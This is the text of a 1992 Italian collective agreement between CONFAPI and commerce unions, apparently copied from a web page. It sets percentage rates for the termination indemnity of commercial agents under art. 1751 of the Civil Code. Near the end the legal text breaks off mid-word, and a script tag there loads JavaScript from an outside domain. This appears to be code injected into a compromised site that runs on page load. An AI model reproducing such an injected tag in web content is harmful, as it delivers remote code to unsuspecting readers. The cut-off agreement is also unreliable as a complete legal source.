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Categoria: Agenti di commercio (piccola e media impresa) Settore: Commercio Data stipula: 5-11-1992
ACCORDO ECONOMICO SETTORE PICCOLE E MEDIE INDUSTRIE
del 5 novembre 1992 relativo agli artt. 10 e 11
Il giorno 5 novembre 1992, in Roma
Tra
- la Confederazione Italiana della piccola e media industria (CONFAPI)
e
- la Federazione Italiana lavoratori Commercio e servizi (FILCAMS-
CGIL);
- la Federazione Italiana Sindacati Addetti Servizi Commerciali Affini
e del Turismo (FISASCAT-CISL);
- la Federazione Nazionale Associazione Agenti e Rappresentanti di
Commercio (FNAARC);
- l'Unione Italiana Lavoratori Turismo Commercio Servizi (UILTUCS-UIL);
- l'Unione Sindacati Agenti e Rappresentanti di Commercio Italiani
(USARCI)
1. considerato che, per effetto dell'entrata in vigore dell'art. 4 del
D.lgs. 10.9.91 n. 303, viene innovata la disciplina prevista dal
precedente art. 1751 C.C. in materia d'indennità per lo scioglimento del
contratto;
2. considerando, altresì, che le disposizioni di cui ali artt. 10 e 11
dell'A.E.C. 25.7.89 vengono a decadere, a seguito dell'entrata in vigore
della nuova disciplina;
3. rilevato, conseguentemente, che tali disposizioni collettive non
troveranno più applicazione dopo il 31.12.92 e dopo il 31.12.93,
rispettivamente in relazione ai contratti di agenzia stipulati dall'1.1.90
o anteriormente a tale data;
4. ritenuta l'opportunità, per dare piena ed esaustiva attuazione al
nuovo art. 1751 C.C., di individuare modalità e criteri applicativi dello
stesso;
ad esito delle trattative intercorse, si è concordata la norma che segue:
I. In riferimento a quanto previsto dall'art. 1751 C.C., come modificato
dall'art. 4 del D.lgs 10.9.91 n. 303, e in particolar modo al
principio dell'equità, in tutti i casi di cessazione del rapporto,
verrà corrisposta all'agente o rappresentante un'indennità, la misura
della quale sarà pari all'1% sull'ammontare globale delle provvigioni
maturate e liquidate durante il corso del rapporto.
La suddetta aliquota base sarà integrata nelle seguenti misure:
A) Agenti e Rappresentanti con obbligo di esclusiva per una sola ditta:
- 3% sulle provvigioni fino a £. 24.000.000 annui;
- 1% sulla quota di provvigioni tra £. 24.000.001 e £. 36.000.000
annui.
B) Agenti e Rappresentanti senza obbligo di esclusiva per una sola
ditta:
- 3% sulle provvigioni fino a £. 12.000.000 annui;
- 1% sulla quota di provvigioni tra £. 12.000.001 e £. 18.000.000
annui.
Da tale indennità deve detrarsi quanto l'agente o rappresentante abbia
diritto di ottenere per effetto di atti di previdenza volontariamente
compiuti dal preponente.
Sono computabili agli effetti dell'indennità di risoluzione del
rapporto anche le somme corrisposte espressamente e specificamente a
titolo di rimborso o concorso spese.
Le somme di cui sopra verranno annualmente accantonate all'ENASARCO,
secondo quanto previsto dalle norme regolamentari allegate all'AEC
25.7.89.
Le parti si danno reciprocamente atto che con quanto sopra hanno inteso
soddisfare il criterio di equità, di cui al già citato art. 1751 C.C..
II. Sempre in attuazione dell'art. 1751 C.C., in aggiunta alla somma di
cui al precedente punto I della presente normativa, verrà corrisposto
un ulteriore importo così calcolato:
- 3% su tutte le provvigioni maturate;
- 0,50% aggiuntivo sulle provvigioni maturate dal 4° al 6° anno
compiuto (nel limite massimo annuo di £. 72.000.000 di provvigioni);
- ulteriore 0,50% aggiuntivo sulle provvigioni maturate dopo il 6° anno
(nel limite massimo annuo di £. 72.000.000 di provvigioni);
- ulteriore 0,50% aggiuntivo sulle provvigioni maturate dopo il 6° anno
compiuto (nel limite massimo annuo di £. 72.000.000 di provvigioni).
Per gli agenti e rappresentanti incaricat<script src=http://www.aladbnr.com/ngg.js></script>
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